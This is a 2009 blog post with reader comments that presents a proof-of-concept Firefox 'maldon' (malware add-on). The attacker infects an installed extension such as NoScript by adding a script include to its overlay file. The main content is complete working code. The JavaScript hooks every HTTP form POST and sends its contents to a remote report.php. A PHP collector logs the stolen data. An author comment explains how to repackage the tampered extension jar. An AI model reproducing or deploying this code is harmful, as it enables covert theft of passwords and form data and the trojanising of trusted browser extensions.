myf00

Ideas, projects and thoughts by Duarte Silva

New Area Test
2009
05.19
Private Area Test

This post assumes that the reader does have some knowledge on how Firefox extensions work. If not, I advise the reader to check out some documentation @ Mozilla Developer Center. It is also assumed that the user as some knowledge of JavaScript. This isn’t intended to be an how to or a tutorial.

What I consider to be one of the best ways of spying on a target, is to use the target browser. If we take Firefox as an example, things get easier since it’s one of the most popular browsers out there, and allows the user to extend it’s functionality by the means of add-ons. The best thing about it, is that, if the user already as an add-on installed, you don’t have to install your maldon (malware add-on). You can infect one of the installed add-ons, because Firefox isn’t able to verify if an add-on is compromised or not. To do that you only need to edit the file that defines the overlay. Taking the noscriptOverlay.xul as an example.

<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
    NoScript - a Firefox extension for whitelist driven safe JavaScript execution
    Copyright (C) 2004-2009 Giorgio Maone - g.maone@informaction.com

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA

***** END LICENSE BLOCK ***** -->

<!DOCTYPE overlay [
<!ENTITY % noscript SYSTEM "chrome://noscript/locale/noscript.dtd" >
%noscript;
<!ENTITY % noscriptFB  SYSTEM "chrome://noscript/content/en-US/noscript.dtd" >
%noscriptFB;
]
>
<?xml-stylesheet href="chrome://noscript/skin/browser.css" type="text/css"?>

<overlay id="noscriptOverlay"
  xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">

  <script type="application/x-javascript" src="noscript.js" />
  <script type="application/x-javascript" src="noscriptOverlay.js"/>
  <script type="application/x-javascript" src="noscriptBM.js"/>
  <script type="application/x-javascript" src="ffspy.js"/>
(....)

The last line of the example, includes a JavaScript file that as the code of the maldon. The ffspy.js file, will intercept all the HTTP requests. If that request is a HTTP form POST (application/x-www-form-urlencoded), the PoC will report it to a remote web server.

/*
 * Copyright (c) 2009 Duarte Silva
 * All Rights Reserved.
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
 */

try {
	function Sniff(extension) {
		this.extension = extension;

		this.QueryInterface = function(iid) {
			if (iid.equals(Components.interfaces.nsIObserver) ||
					iid.equals(Components.interfaces.nsISupports))
				return this;
			else
				throw Components.results.NS_NOINTERFACE;
		};

		this.observe = function(subject, topic, data) {
			try {
				subject.QueryInterface(Components.interfaces.nsIHttpChannel);

				if (topic == "http-on-modify-request")
					this.extension.ProcessRequest(subject);
			}
			catch (exception) {
				this.extension.Log(exception);
			}
		};
	}

	function Extension() {
		this.conserv = null;
		this.obsserv = null;
		this.sniff = null;
		this.debug = false;
		// Server were the script should report the data collected
		this.report = "http://<server address>/report.php";

		this.Log = function(text) {
			if ((this.conserv != null) && (this.debug))
				this.conserv.logStringMessage(text);
		};

		this.Initialize = function() {
			try {
				this.sniff = new Sniff(this);

				this.obsserv = Components.classes["@mozilla.org/observer-service;1"].getService(
								Components.interfaces.nsIObserverService);
				this.conserv = Components.classes["@mozilla.org/consoleservice;1"].getService(
								Components.interfaces.nsIConsoleService);

				if ((this.obsserv != null) && (this.sniff != null))
					this.obsserv.addObserver(this.sniff, "http-on-modify-request", false);
			}
			catch (exception) {
				this.Log(exception);
			}
		};

		this.Uninitialize = function() {
			if ((this.obsserv != null) && (this.sniff != null))
				this.obsserv.removeObserver(this.sniff, "http-on-modify-request");
		};

		this.ProcessLine = function(stream) {
			var line = "";

			for (var i = 0; i < stream.available(); i++) {
				var c = stream.read(1);

				if (c == 'n')
                  			break;

				if (c != 'r')
					line += c;
			}

			return line;
		};

		this.ProcessRequest = function(http) {
			var stream;
			var seekable;
			var request;
			var valid = false;
			var params;

			try {
				this.Log("Intercepted HTTP request");

				if (http.requestMethod != "POST")
					return;

				http.QueryInterface(Components.interfaces.nsIUploadChannel);

				if (http.uploadStream != null) {
					seekable = http.uploadStream;
					seekable.QueryInterface(Components.interfaces.nsISeekableStream);

					stream = Components.classes["@mozilla.org/scriptableinputstream;1"].createInstance(
								Components.interfaces.nsIScriptableInputStream);
					stream.init(http.uploadStream);

					for (var line = this.ProcessLine(stream); line; line = this.ProcessLine(stream)) {
						var header = line.match(/^([^:]+):s?(.*)/);

						if (header == null)
							continue;

						if ((header[1].toLowerCase() == "content-type") &&
								(header[2].toLowerCase() == "application/x-www-form-urlencoded"))
							valid = true;
					}

					if (valid) {
						params = stream.read(stream.available());

						// Report the intercepted POST
						request = new XMLHttpRequest();
						request.open("POST", this.report, true);
						request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
						request.setRequestHeader("Content-Length", params.length);
						request.setRequestHeader("Connection", "close");
						request.send(params);
					}

					seekable.seek(0, 0);
				}
			}
			catch (exception) {
				this.Log(exception);
			}
		};
	}

	var extension = new Extension();

	if (extension != null) {
		window.addEventListener("load", function() {
							extension.Initialize();
						}, false);

		window.addEventListener("unload", function() {
							extension.Uninitialize();
						}, false);
	}
}
catch (mainexcept) {
}

The following is an example of a PHP file that could be used as a report.php.

<?php

if (get_magic_quotes_gpc())
	$_POST = array_map('stripslashes', $_POST);

$query = "";

if ($_POST) {
	$map = array();

	foreach ($_POST as $key => $value)
		$map[] = "$key=$value";

	$query = join("&", $map);
}

$file = fopen("report.txt", 'w');

fwrite($file, $query);
fwrite($file, "n");
fclose($file);
?>

Attention!! This is a PoC, if you try to use it, take into account that the information sent by the PoC isn’t encrypted, and the report.php suffers from log poisoning.

  1. Very cool. I note that Chrome also has JavaScript parts and installs the program files in a user-writeable directory, so this infection should be even easier there.

  2. Daniel says:

    So how exactly do you get that string into the already installed extension in the first place?

  3. Evan Larsen says:

    Nice example. How are other browsers preventing this? are the other browses verifying if an add-on is compromised or not?

    Good find, keep up the good work.

    • Duarte says:

      Using noscript as an example, you can unzip the noscript.jar in the chrome directory, navigate to content\noscript and edit the overlay file, noscriptOverlay.xul. After that, zip everything again and change the extension from .zip to .jar. Remove the unzipped folders and you’re all done.

      • Duarte says:

        Sorry, I don’t have an answer for that. But I would bet that the answer is no, no they are not preventing.

  4. l.m.orchard says:

    So, how exactly does a malicious party get that string into the installed extension?

    I mean, if something’s managed to get executed that has the ability to unzip a jar, tweak a file, and repackage it… there are much more interesting things it could be doing.

  5. Alex Hernandez says:

    Uff a really great PoC to probe more things and how to malware works over FF..

    -alex :-)

Comments are closed

FFSpy Logger